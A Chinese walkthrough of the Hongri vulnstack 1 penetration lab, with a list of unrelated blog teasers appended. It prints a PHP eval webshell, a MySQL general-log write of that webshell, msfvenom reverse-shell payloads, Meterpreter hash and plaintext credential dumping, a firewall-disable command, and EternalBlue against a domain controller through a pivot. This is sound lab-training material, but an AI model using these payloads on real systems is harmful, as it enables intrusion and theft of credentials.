红日安全vulnstack (一)
目录
环境搭建
本机双网卡
Kali IP
靶机IP
Web GetShell
前期信息收集
Yxcms后台模板 Getshell
PHPMyAdmin日志 Getshell
into outfile写入一句话 X
phpmyadmin 日志写入一句话
后渗透
MSF 生成木马上线
提取用户hash值
**hash**加密方式
MSF权限Shell至CS
CS 生成木马上线
提权system
信息收集
域信息收集
CS权限shell至MSF
横向移动
MSF
MSF路由+Socks模块代理通讯
ms17_010永恒之蓝445
CS
创建SMB监听器横向
横向移动psexec
网络拓扑图

靶机参考文章
CS/MSF派发shell
环境搭建
IP搭建教程
本机双网卡
65网段和83网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP需要借助我们这两个网段之一出网


Kali IP
kali地址网络适配器选择,为VMnetNAT模式会通过DHCP自动获取IP,本机65网卡会自动分配IP 和靶机win7同网段
简单来说,桥接模式是独立内网IP,NAT模式则是利用物理机的地址分配一个IP和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP为内网网段,或者自定义也是独立的地址

192.168.65.148 // kali 地址
扫描win7出网机开放端口,处于同一个网段可以扫描到

靶机IP
解压后出现后最vmx后缀文件,打开虚拟机自己弄好 初始密码为hongrisec@2019
已经全部修改为saber.1029


【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段

IP地址
| 主机 | IP地址 |
| kali 攻击机 | 192.168.65.148(虚拟机VMnet8网卡) 本机双网卡=WIFi IP+kali IP 65+内部IP 172.28.160.1 |
| Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 提权后IP变为65.155 |
| Win2003 域成员机 | 192.168.52.141 (不出网IP固定52网段) |
| Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |
攻击机与win7 可以互相ping通出网,如果出现Ping不同可能是win7防火墙未关闭或未开机


Web GetShell
前期信息收集
win7机器打开小皮服务否则nmap无法扫描80端口和 3306

arp-scan-l // kali前期使用该命令扫出同有一网段下其他主机xxxxx // 确定了win7 IP 地地址为 192.168.65.154
扫描win7外网IP地址,目标开放了803306 端口
nmap 192.168.65.154

kali访问 80端口 phpinfo()页面: 自己主机也是可以访问到此页面,本身就是同一个网段,win7网段是物理机给予的


御剑目录扫描出数据库管理后台和beifen.rar文件路径
http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar


压缩包config.php给出了数据库的账户密码信息

Yxcms后台模板 Getshell
下载压缩包解压后根据文件夹名称判断是个cms 拼接访问

主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可
http://192.168.65.154/yxcms/index.php?r=admin账户:admimm密码:123456

登录后台找到前台模板进行编辑写一句话木马蚁剑联机.

选择编辑的文件为index_index.php 猜测应该是网站起始吧最好找路径
一句话🐎<?php eval($_POST["cmd"]);
phpinfo(); // 添加打印函数佐证
echo 'aaaaa'; // 输出 aaaaa
?>

访问网站前台马子上线,掏出蚁剑连接,取得webshell



PHPMyAdmin日志 Getshell
数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了
账号: root 密码: root

into outfile写入一句话 X
INTO OUTFILE是MySQL数据库中的一个语句,它可以将查询结果写入到文件中
条件
root权限- 知道绝对路径
secure_file_priv没有具体值
使用INTO OUTFILE将结果写入到文件中
SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';
这样文件"/path/to/file.txt"的内容将变为:
Hello, world!
前期通过最高权限的账号登录了,并且源码泄露和phpinfo()已经知道了绝对路径,查secure_fiel_priv
show global variables like "%secure%"; // 查询value为“null”时,不允许读取任意文件value为“空”时,允许读取任意文件
这里值为null无法执行

phpmyadmin 日志写入一句话
使用语句查询路径,这是已经修改过的
show global variables like "%general%";

使用命令修改配置开关和路径
set global general_log="on"; //开启日志,修改为on//修改日志路径(在上面提到的phpinfo.php中有泄露路径)set global general_log_file="C:/phpStudy/WWW/a.php";
利用日志写入一句话木马位置是在网站www根目录下的a.php 直接访问连接
SELECT'<?php eval($_POST["cmd"]);?>'

蚁剑连接成功取得webshell

后渗透
MSF 生成木马上线
Kali进入MSF生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148 LPORT=1111 -f exe -o shell.exe// -p为指定payload,使用msf的payload的时候要和这个相同,
//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe

拷贝木马使用蚁剑将文件上传到win7目录下

msf开启监听回响用handler模块接收反弹模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

蚁剑虚拟终端运行exe文件 MSF成功反弹shell

反弹shell后先查看当前用户,而后通过getsystem命令直接进行提权到系统权限

getuid // 获取当前用户IDgetsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。// 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限

提取用户hash值
run post/windows/gather/smart_hashdump // 提取命令load kiwi // 加载抓取密码工具creds_all // 抓取

hash加密方式
Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是通过以下步骤生成的:1. 将明文口令转换成十六进制的格式。
2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00。
3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233
然后转换成Unicode格式为7400650073007400310032003300。
最后,对Unicode字符串7400650073007400310032003300进行MD4加密,
得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。
run post/windows/manage/enable_rdp // 开启3389远程桌面

nmap 探测属于3389端口处于开启状态

sessions -i # 查看所有会话 这个要回到msf模块下才能看到sessions 1 # 选择为此ID为1的会话

MSF权限Shell至CS
开启CS 物理机Windows作为客户端 Kali作为服务端启动

创建监听器,端口号需和IP需和MSF监听设置一致,这里的IP是kali地址

MSF 执行命令派发
bg # 退出回到反弹模块
use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload
set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.65.148 #公网vps ip 也看就是Kali地址
set lport 80 #监听端口需和CS设置一直
set session 1 #派发session 为1 也就是第一个会话 通过会话列表可以查看
exploit

CS客户端成功收到反弹shell

CS 生成木马上线
CS 生成非常简单,参考前文过程,生成的木马通过前文的蚁剑上传win7运行即可,上线,后续对win7信息收集和横向移动其他域内其他主机
**蚁剑下操作**dir // 列出当前目录下所有文件
.\beacon.exe // 运行木马文件 CS 成功上线

提权system
- svc-exe 提权
1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2.创建一个进程,并让进程创建命名管道。
3.让之前的以system权限启动的程序启动并连接这个命名管道。
4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
5.利用system权限的token启动cmd.exe


信息收集
sleep 0 // 修改心跳速度为0 立马响应shell systeminfo // 查看主机系统详细信息

查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然CS生成无免杀的马子是不能上传到win7服务器
shell tasklist // 查看被控主机进程列表


shell netsh firewall show state // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态出现命令提示:Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"。
这种更改可能是为了提高安全性、功能性或性能等方面的考虑

shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令

域信息收集
shell net config Workstation // 查看域信息

shell view // 查看当前域内列表,点击上方定位圆圈就可以看到


net dclist // 查看域控列表

抓取凭证hashwin7主机3个用户账户密码

抓取明文密码

CS权限shell至MSF
MSF开启监听模块,使用一个端口进行监听
msfconsole // 开启MSF
use exploit/multi/handler // 使用监听模块
set payload windows/meterpreter/reverse_http // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致
set lhost 0.0.0.0 // IP地址为任意的 任意地址流量都可以反弹
set lport 6666// 端口和监听器设置一致
run // 开启监听

CS这里是已经通过反向木马得到了shell,生成的木马监听器就是HTTP的,所以权限给msf时,新建的监听器还是HTTP

CS在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的


横向移动
横向渗透,使攻击机利用win7做跳板直接通讯到域控,利用win7为媒介
| kali 攻击机 | 192.168.65.148 |
| Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 |
| Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |
MSF
MSF路由+Socks模块代理通讯
横向渗透前,将win7作为跳板机,将其内网52网段添加到路由,利用msf路由和socks配置让同一网段的机器可以通讯到
route // 打印当前路由
run post/multi/manage/autoroute // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p // 查看当前路由 已经添加好了52网段

设置proxychains代理,,现在只是msf工具以使用,但的工具还是没有通讯的,所以再次建立一个路由
bg // 退回msfshell模式use auxiliary/server/socks_proxy // 使用socks代理 // 改名字了和之前小迪做的不一样show options // 查看设置

set srvhost 127.0.0.1 // 设置代理为本地set srvport 888 // 有点问题再开了一个代理 端口为888如果不改的话默认1080和代理文件是一样的默认run // 执行jobs // 查看后台任务

找到proxychains4.conf文件因为不会vim操作起来很不舒服,定位到端口位置,点击x后可以删除,点击i开始添加对应的端口号 和前文设置一致

ms17_010永恒之蓝445
昨晚配置路由和socks之后正常是kali是可以接收到52网段的流量,然后使用nmap探测开放端口,会探测到445然后打永恒之蓝得到权限
socks开启监听一个端口,将此流量转发给msf因为端口号设置一致,msf添加了路由,所以流量又被带入内网中,在kali中的工具都可以监听到
proxychains nmap -Pn -sT 192.168.52.138xxxx 发现存在445端口

检测永恒之蓝可能存在的地址
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010 // 永恒之蓝漏洞扫描检测模块
set rhosts 192.168.3.21-32 // 检测此IP范围内
run
命令行出现 Host 漏洞可能存在,使用漏洞攻击模块进行攻击

这里域控密码忘记了登录补上.但总的就是这个意思了,先设置跳板机和sosks进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了
use exploit/windows/smb/ms17_010_eternalblue // use 0 // 利用模块set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向set lhost 192.168.52.143 // 地址为 跳板机win7地址,因为要通过它去打域控地址 138set rhosts 192.168.52.138 // 被攻击的地址为域控set lport 5555 // 随意选择kali一个端口进行监听run // 运行即可

CS
创建SMB监听器横向
SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败),此流量封装在SMB协议中

对DC域控进行横向移动利用先前抓取的明文密码,配合SMB监听器,


运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种beacon 上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell 之类访问到内网其他主机
横向移动psexec
感觉这个就是拿明文去移动启动机器了,psexec属于登录命令,在有密码情况下远程登录其他主机执行命令



简单粗暴拿下

相关文章:
红日安全vulnstack (一)
目录 环境搭建 本机双网卡 Kali IP 靶机IP Web GetShell 前期信息收集 Yxcms后台模板 Getshell PHPMyAdmin日志 Getshell into outfile写入一句话 X phpmyadmin 日志写入一句话 后渗透 MSF 生成木马上线 提取用户hash值 **hash**加密方式 MSF权限Shell至CS CS …...
为什么SSH协议是安全的?
SSH的传输层协议(Transport Layer Protocol)和用户鉴权协议(Authentication Protocol)确保数据的传输安全,这里只介绍传输层协议,是SSH协议的基础。 本文针对SSH2协议。 1、客户端连接服务器 服务器默认…...
主键 外键
主键 外键 在关系型数据库中,主键(Primary Key)和外键(Foreign Key)是用于维护数据完整性和建立表之间关系的重要概念。 主键(Primary Key) 定义: 主键是一个或多个列的组合,其值能…...
G - Road Blocked 2
G - Road Blocked 2 思路 只有当一条边是从 1 1 1到 n n n的所有最短路构成的图的桥时,去掉这条边,最短路才会变大 所以就可以用最短路加tarjan解决这道题了 怎么判断一条边是否可以构成最短路呢,比如求 1 1 1到 n n n的最短路࿰…...
R语言绘制Venn图(文氏图、温氏图、维恩图、范氏图、韦恩图)
Venn图,又称文氏图,标题中其他名字也是它的别称,由封闭圆形组成,代表不同集合。圆形重叠部分表示集合交集,非重叠处为独有元素。在生物学、统计学等领域广泛应用,可展示不同数据集相似性与差异,…...
【Vue.js】vue2 项目在 Vscode 中使用 Ctrl + 鼠标左键跳转 @ 别名导入的 js 文件和 .vue 文件
js 文件跳转 需要安装插件 Vetur 然后需要我们在项目根目录下添加 jsconfig.json 配置,至于配置的作用,可以参考我的另外一篇博客: 【React 】react 创建项目配置 jsconfig.json 的作用 它主要用于配置 JavaScript 或 TypeScript 项目的根…...
NVM配置与Vue3+Vite项目快速搭建指南
本文目录 1、配置环境1.1 NVM1、nvm常用命令 1.2 Mac配置环境1、安装nvm 1.3 Window配置环境1、安装nvm 2、 项目搭建2.1 项目依赖2.2 安装依赖2.3 配置1、别名配置2、创建样式及图片文件夹3、路由 2.4 项目搭建效果2.5 项目结构 在当今快速发展的前端技术领域中,掌…...
面试“利器“——微学时光
大家好,我是程序员阿药。微学时光是一款专为计算机专业学生和IT行业求职者设计的面试刷题小程序,它汇集了丰富的计算机面试题和知识点,旨在帮助用户随时随地学习和复习,提高自身的技术能力和面试技巧。 主题 随时随地学习&#x…...
【Unity】【游戏开发】游戏引擎是如何模拟世界的
【核心感悟】 游戏引擎通过两个维度的合并来模拟这个时间。 一个维度叫物理模型。 一个维度叫视觉模型。 对于物理模型,我们需要用物理引擎给予行为。 对于视觉模型,我们需要用动画去给予行为。 物理模型是真实机制,视觉模型是艺术表现&…...
vscode配置conda虚拟环境【windows系统】
安装好anacondavscode里安装python插件 3.点击左侧插件 如图1,再2,再点击3小星星激活conda环境 最后下方栏就出现conda环境了。就可以用啦...
libgpiod在imx8平台交叉编译说明
如下记录是在 imx8上测试使用 参考博主的文章 iMX6ULL 库移植 | Libgpiod 库的交叉编译及使用指南(linux) 编译说明 1: build.sh代码如下所示,先执行 source build.sh,注意修改交叉编译工具链为自己本地的地址; 2:执行 ./autogen…...
无人机之自主飞行关键技术篇
无人机自主飞行指的是无人机利用先进的算法和传感器,实现自我导航、路径规划、环境感知和自动避障等能力。这种飞行模式大大提升了无人机的智能化水平和操作的自动化程度。 一、传感器技术 传感器是无人机实现自主飞行和数据采集的关键组件,主要包括&a…...
performance.timing
performance.timing 是 Web 性能 API 的一部分,用于获取页面加载过程中的各个时间戳。这些时间戳可以帮助开发者分析页面加载性能,找出潜在的瓶颈。performance.timing 返回一个 PerformanceTiming 对象,该对象包含了多个属性,每个…...
教你不用下载 maven,不用配置环境变量,在 idea 上创建 maven 项目
我的主页:2的n次方_ 1. Maven Maven是⼀个项⽬管理⼯具, 通过 pom.xml ⽂件的配置获取 jar 包,⽽不⽤⼿动去添加 jar 包,这样就大大的提高了开发效率 2. Maven 的核心功能 2.1. 项目构建 创建第一个 Maven 项目 Maven 提供了标准的…...
linux 设置tomcat开机启动
在Linux系统中,要配置Tomcat开机自启动,可以创建一个名为 tomcat.service 的 systemd 服务文件,并将其放置在 /etc/systemd/system/ 目录下。以下是一个基本的服务文件示例,假设Tomcat安装在 /usr/local/tomcat 路径下:…...
opencv出错以及解决技巧
opencv配置 一开始,include的路径是<opencv4/opencv2/…> 这样在using namespace cv的时候导致了报错, 所以在cmakelist中需要对cmake的版本进行升级。 set(CMAKE_CXX_FLAGS “-stdc14 -O0 -Wall”)-O0 表示在编译过程中不进行任何优化 对应的pac…...
Python爬虫进阶(实战篇一)
接,基础篇,链接:python爬虫入门(所有演示代码,均有逐行分析!)-CSDN博客 目录 1.爬取博客网站全部文章列表 ps:补充(正则表达式) 爬虫实现 爬虫代码: 2.爬…...
运维面试题(2)
ssh服务(重点)协议使用 端口 号:默认是 22, 可以是被修改的,如果需要修改,则需要修改 ssh 服务的配置文件:#/etc/ssh/ssh_config,可以通过这个配置文件来修改端口 端口号可以修改&am…...
Django CSRF Token缺失或不正确
在Django中,CSRF(跨站请求伪造)验证失败,提示“CSRF token missing or incorrect”的错误,通常是由以下几个原因造成的: 忘记在表单中添加 {% csrf_token %} 模板标签:这是最常见的原因之一。确…...
10.12Python数学基础-矩阵(下)
9.矩阵的转置 矩阵的转置(Transpose)是矩阵操作中的一种基本运算。它通过交换矩阵的行和列来生成一个新的矩阵。具体来说,如果 A 是一个 mn 的矩阵,那么它的转置矩阵 A^T 是一个 nm 的矩阵,其中 A^T 的第 i 行第 j 列…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
中医有效性探讨
文章目录 西医是如何发展到以生物化学为药理基础的现代医学?传统医学奠基期(远古 - 17 世纪)近代医学转型期(17 世纪 - 19 世纪末)现代医学成熟期(20世纪至今) 中医的源远流长和一脉相承远古至…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...
